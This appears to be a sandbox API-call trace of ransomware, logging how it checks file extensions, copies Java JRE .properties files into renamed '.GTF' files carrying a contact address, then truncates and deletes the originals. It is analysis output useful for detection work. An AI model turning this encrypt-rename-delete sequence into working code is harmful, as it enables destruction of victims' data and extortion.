	[0156.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0156.207] lstrlenW (lpString=".dbf") returned 4
	[0156.207] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0156.207] lstrlenW (lpString=".1cd") returned 4
	[0156.207] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0156.207] lstrlenW (lpString=".jpg") returned 4
	[0156.208] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0156.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0156.208] lstrlenW (lpString=".doc") returned 4
	[0156.208] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.208] lstrlenW (lpString=".docx") returned 5
	[0156.208] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.208] lstrlenW (lpString=".pdf") returned 4
	[0156.208] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.208] lstrlenW (lpString=".xls") returned 4
	[0156.208] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.208] lstrlenW (lpString=".xlsx") returned 5
	[0156.208] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.208] lstrlenW (lpString=".ppt") returned 4
	[0156.208] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0156.208] lstrlenW (lpString=".zip") returned 4
	[0156.208] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.208] lstrlenW (lpString=".rar") returned 4
	[0156.208] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.208] lstrlenW (lpString=".bz2") returned 4
	[0156.208] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.208] lstrlenW (lpString=".7z") returned 3
	[0156.208] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0156.208] lstrlenW (lpString=".dbf") returned 4
	[0156.208] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0156.208] lstrlenW (lpString=".1cd") returned 4
	[0156.208] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0156.208] lstrlenW (lpString=".jpg") returned 4
	[0156.208] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.209] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0156.209] lstrlenW (lpString="messages_de.properties") returned 22
	[0156.209] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0156.209] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3306) returned 1
	[0156.209] CloseHandle (hObject=0x494) returned 1
	[0156.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20
	[0156.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.214] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0156.214] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.214] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.214] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0156.214] GetLastError () returned 0x0
	[0156.214] ReadFile (in: hFile=0x494, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0xcea, lpOverlapped=0x0) returned 1
	[0156.217] WriteFile (in: hFile=0x418, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xcf0, lpOverlapped=0x0) returned 1
	[0156.218] ReadFile (in: hFile=0x494, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.218] WriteFile (in: hFile=0x418, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x100, lpOverlapped=0x0) returned 1
	[0156.218] SetEndOfFile (hFile=0x418) returned 1
	[0156.218] CloseHandle (hObject=0x418) returned 1
	[0156.218] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.218] SetEndOfFile (hFile=0x494) returned 1
	[0156.222] CloseHandle (hObject=0x494) returned 1
	[0156.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0156.223] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 1
	[0156.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0156.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0156.223] lstrlenW (lpString=".doc") returned 4
	[0156.223] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.223] lstrlenW (lpString=".docx") returned 5
	[0156.223] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.223] lstrlenW (lpString=".pdf") returned 4
	[0156.223] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.223] lstrlenW (lpString=".xls") returned 4
	[0156.223] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.223] lstrlenW (lpString=".xlsx") returned 5
	[0156.223] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.223] lstrlenW (lpString=".ppt") returned 4
	[0156.224] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0156.224] lstrlenW (lpString=".zip") returned 4
	[0156.224] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.224] lstrlenW (lpString=".rar") returned 4
	[0156.224] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.224] lstrlenW (lpString=".bz2") returned 4
	[0156.224] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.224] lstrlenW (lpString=".7z") returned 3
	[0156.224] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0156.224] lstrlenW (lpString=".dbf") returned 4
	[0156.224] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0156.224] lstrlenW (lpString=".1cd") returned 4
	[0156.224] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0156.224] lstrlenW (lpString=".jpg") returned 4
	[0156.224] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0156.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0156.224] lstrlenW (lpString=".doc") returned 4
	[0156.224] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.224] lstrlenW (lpString=".docx") returned 5
	[0156.224] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.224] lstrlenW (lpString=".pdf") returned 4
	[0156.224] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.224] lstrlenW (lpString=".xls") returned 4
	[0156.224] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.224] lstrlenW (lpString=".xlsx") returned 5
	[0156.224] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.224] lstrlenW (lpString=".ppt") returned 4
	[0156.224] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0156.224] lstrlenW (lpString=".zip") returned 4
	[0156.224] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.224] lstrlenW (lpString=".rar") returned 4
	[0156.225] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.225] lstrlenW (lpString=".bz2") returned 4
	[0156.225] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.225] lstrlenW (lpString=".7z") returned 3
	[0156.225] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0156.225] lstrlenW (lpString=".dbf") returned 4
	[0156.225] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0156.225] lstrlenW (lpString=".1cd") returned 4
	[0156.225] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0156.225] lstrlenW (lpString=".jpg") returned 4
	[0156.225] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.225] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0156.225] lstrlenW (lpString="messages_es.properties") returned 22
	[0156.225] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0156.226] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3600) returned 1
	[0156.226] CloseHandle (hObject=0x494) returned 1
	[0156.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20
	[0156.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.227] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0156.227] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.227] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.227] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0156.227] GetLastError () returned 0x0
	[0156.227] ReadFile (in: hFile=0x494, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0xe10, lpOverlapped=0x0) returned 1
	[0156.229] WriteFile (in: hFile=0x418, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe20, lpOverlapped=0x0) returned 1
	[0156.230] ReadFile (in: hFile=0x494, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.230] WriteFile (in: hFile=0x418, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x100, lpOverlapped=0x0) returned 1
	[0156.230] SetEndOfFile (hFile=0x418) returned 1
	[0156.230] CloseHandle (hObject=0x418) returned 1
	[0156.230] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.231] SetEndOfFile (hFile=0x494) returned 1
	[0156.233] CloseHandle (hObject=0x494) returned 1
	[0156.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0156.234] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 1
	[0156.234] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0156.234] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0156.234] lstrlenW (lpString=".doc") returned 4
	[0156.234] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.234] lstrlenW (lpString=".docx") returned 5
	[0156.234] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.234] lstrlenW (lpString=".pdf") returned 4
	[0156.234] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.234] lstrlenW (lpString=".xls") returned 4
	[0156.235] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.235] lstrlenW (lpString=".xlsx") returned 5
	[0156.235] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.235] lstrlenW (lpString=".ppt") returned 4
	[0156.235] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0156.235] lstrlenW (lpString=".zip") returned 4
	[0156.235] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.235] lstrlenW (lpString=".rar") returned 4
	[0156.235] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.235] lstrlenW (lpString=".bz2") returned 4
	[0156.235] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.235] lstrlenW (lpString=".7z") returned 3
	[0156.235] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0156.235] lstrlenW (lpString=".dbf") returned 4
	[0156.235] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0156.235] lstrlenW (lpString=".1cd") returned 4
	[0156.235] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0156.235] lstrlenW (lpString=".jpg") returned 4
	[0156.235] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0156.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0156.235] lstrlenW (lpString=".doc") returned 4
	[0156.235] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.235] lstrlenW (lpString=".docx") returned 5
	[0156.235] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.235] lstrlenW (lpString=".pdf") returned 4
	[0156.235] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.235] lstrlenW (lpString=".xls") returned 4
	[0156.235] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.235] lstrlenW (lpString=".xlsx") returned 5
	[0156.235] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.235] lstrlenW (lpString=".ppt") returned 4
	[0156.235] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0156.236] lstrlenW (lpString=".zip") returned 4
	[0156.236] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.236] lstrlenW (lpString=".rar") returned 4
	[0156.236] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.236] lstrlenW (lpString=".bz2") returned 4
	[0156.236] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.236] lstrlenW (lpString=".7z") returned 3
	[0156.236] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0156.236] lstrlenW (lpString=".dbf") returned 4
	[0156.236] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0156.236] lstrlenW (lpString=".1cd") returned 4
	[0156.236] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0156.236] lstrlenW (lpString=".jpg") returned 4
	[0156.236] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.236] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0156.236] lstrlenW (lpString="messages_fr.properties") returned 22
	[0156.236] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0156.237] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3409) returned 1
	[0156.237] CloseHandle (hObject=0x494) returned 1
	[0156.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20
	[0156.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.237] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0156.237] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.237] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.237] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0156.238] GetLastError () returned 0x0
	[0156.238] ReadFile (in: hFile=0x494, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0xd51, lpOverlapped=0x0) returned 1
	[0156.240] WriteFile (in: hFile=0x418, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xd60, lpOverlapped=0x0) returned 1
	[0156.480] ReadFile (in: hFile=0x494, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.480] WriteFile (in: hFile=0x418, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x100, lpOverlapped=0x0) returned 1
	[0156.480] SetEndOfFile (hFile=0x418) returned 1
	[0156.480] CloseHandle (hObject=0x418) returned 1
	[0156.480] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.480] SetEndOfFile (hFile=0x494) returned 1
	[0156.483] CloseHandle (hObject=0x494) returned 1
	[0156.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0156.826] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 1
	[0156.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0156.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0156.827] lstrlenW (lpString=".doc") returned 4
	[0156.827] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.827] lstrlenW (lpString=".docx") returned 5
	[0156.827] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.827] lstrlenW (lpString=".pdf") returned 4
	[0156.827] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.827] lstrlenW (lpString=".xls") returned 4
	[0156.827] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.827] lstrlenW (lpString=".xlsx") returned 5
	[0156.827] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.827] lstrlenW (lpString=".ppt") returned 4
	[0156.827] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0156.827] lstrlenW (lpString=".zip") returned 4
	[0156.827] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.827] lstrlenW (lpString=".rar") returned 4
	[0156.827] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.827] lstrlenW (lpString=".bz2") returned 4
	[0156.827] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.827] lstrlenW (lpString=".7z") returned 3
	[0156.827] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0156.827] lstrlenW (lpString=".dbf") returned 4
	[0156.827] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0156.827] lstrlenW (lpString=".1cd") returned 4
	[0156.827] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0156.827] lstrlenW (lpString=".jpg") returned 4
	[0156.827] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
